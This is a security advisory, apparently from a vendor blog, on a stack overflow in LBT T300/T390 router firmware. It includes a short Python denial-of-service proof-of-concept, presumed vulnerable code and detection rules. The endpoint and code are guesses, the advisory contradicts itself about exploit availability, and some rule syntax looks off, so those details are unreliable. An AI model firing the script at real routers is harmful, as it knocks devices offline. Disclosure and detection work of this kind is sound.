CVE-2024-27572

Executive Summary

CVE-2024-27572 is a critical stack-based buffer overflow vulnerability discovered in the LBT T300-T390 router firmware version v2.2.1.8. The flaw resides in the updateCurAPlist function, specifically within the handling of the ApCliSsid parameter. An unauthenticated attacker can trigger a Denial of Service (DoS) by sending a crafted POST request, causing the device to crash or become unresponsive. No official patch has been released by the vendor, and no public exploit code is available at this time. The vulnerability is classified under CWE-121 (Stack-based Buffer Overflow) and aligns with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).

Supply Chain & Package Security

This vulnerability affects embedded firmware for LBT T300 and T390 routers. There is no associated NPM, PyPI, Go, or Ruby package. The risk is limited to physical devices running the affected firmware version.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0 due to insufficient data from the NVD. However, based on the technical details, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network via a POST request.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The exploit affects only the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – The device becomes unavailable.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 7.5 (High)

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the updateCurAPlist function. The ApCliSsid parameter is copied into a fixed-size stack buffer without proper bounds checking. By sending an overly long SSID string in a POST request, an attacker can overwrite the return address and other stack data, leading to a crash or potentially arbitrary code execution.

Root Cause: The firmware uses a vulnerable function (likely strcpy or sprintf) to copy user-supplied data into a stack buffer without validating the length.

Attack Vector: An unauthenticated attacker sends a POST request to the vulnerable endpoint (likely /cgi-bin/updateCurAPlist or similar) with a maliciously crafted ApCliSsid parameter.

Impact: The primary impact is a Denial of Service (DoS) as the device crashes. However, due to the nature of stack overflows, remote code execution (RCE) may be possible with further analysis.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

void updateCurAPlist() {
    char buffer[64];
    // Vulnerable: no bounds checking
    strcpy(buffer, get_param("ApCliSsid"));
    // ... rest of function
}

A patched version would include bounds checking:

void updateCurAPlist() {
    char buffer[64];
    const char *ssid = get_param("ApCliSsid");
    if (strlen(ssid) >= sizeof(buffer)) {
        // Handle error or truncate
        return;
    }
    strcpy(buffer, ssid);
    // ... rest of function
}

Exploitation & Lab Setup

Red Team

Objective: Trigger a Denial of Service on the target LBT T300/T390 router.

Prerequisites:

• Target device running firmware v2.2.1.8
• Network access to the device's web interface

Exploit Script (Python):

import requests

target = "http://192.168.1.1/cgi-bin/updateCurAPlist"
payload = "A" * 1000  # Overflow the stack buffer

data = {"ApCliSsid": payload}
try:
    r = requests.post(target, data=data, timeout=5)
    print("Request sent. Device may be unresponsive.")
except:
    print("Device likely crashed.")

Note: This is a proof-of-concept for DoS only. For RCE, further reverse engineering is required to control the overwritten return address.

Blue Team

Detection:

• Monitor for POST requests to /cgi-bin/updateCurAPlist with unusually long ApCliSsid parameters.
• Use network intrusion detection systems (NIDS) to flag requests with SSID strings exceeding 32 characters (typical max SSID length).

Mitigation:

• Isolate affected devices on a separate VLAN.
• Disable remote management if not required.
• Monitor device logs for crashes or unexpected reboots.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /cgi-bin/updateCurAPlist with ApCliSsid parameter length > 32 bytes.
  • Repeated HTTP 500 errors or timeouts from the device.
• Host:
  • Device logs showing "stack overflow" or "buffer overflow" errors.
  • Unexpected device reboots or unresponsiveness.
• File:
  • Firmware version v2.2.1.8 on LBT T300 or T390 routers.

Detection Engineering

YARA Rule

rule CVE_2024_27572_StackOverflow {
    meta:
        description = "Detects exploit attempts for CVE-2024-27572 via long ApCliSsid parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27572"
    strings:
        $ssid_param = "ApCliSsid"
        $overflow = /ApCliSsid=[A-Za-z0-9%]{65,}/  // More than 64 chars
    condition:
        $ssid_param and $overflow
}

Sigma Rule

title: CVE-2024-27572 Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests with overly long ApCliSsid parameter targeting LBT routers
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'ApCliSsid'
        cs-uri-query|length: >= 65
    condition: selection
falsepositives:
    - Legitimate long SSID names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-27572 - LBT T300/T390 Stack Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"ApCliSsid"; http_client_body;
    pcre:"/ApCliSsid=[A-Za-z0-9%]{65,}/";
    sid:1000001;
    rev:1;
    reference:cve,2024-27572;
    priority:1;
)

Remediation & Mitigation

1. Vendor Action: LBT must release a patched firmware version that includes proper input validation and bounds checking for the ApCliSsid parameter.
2. User Action:
   • Disable remote administration if not needed.
   • Place affected devices behind a firewall with strict access controls.
   • Monitor for unusual traffic patterns.
3. Workaround: If patching is not possible, consider replacing the device with a supported alternative.

Valters IT
Securing Digital Frontiers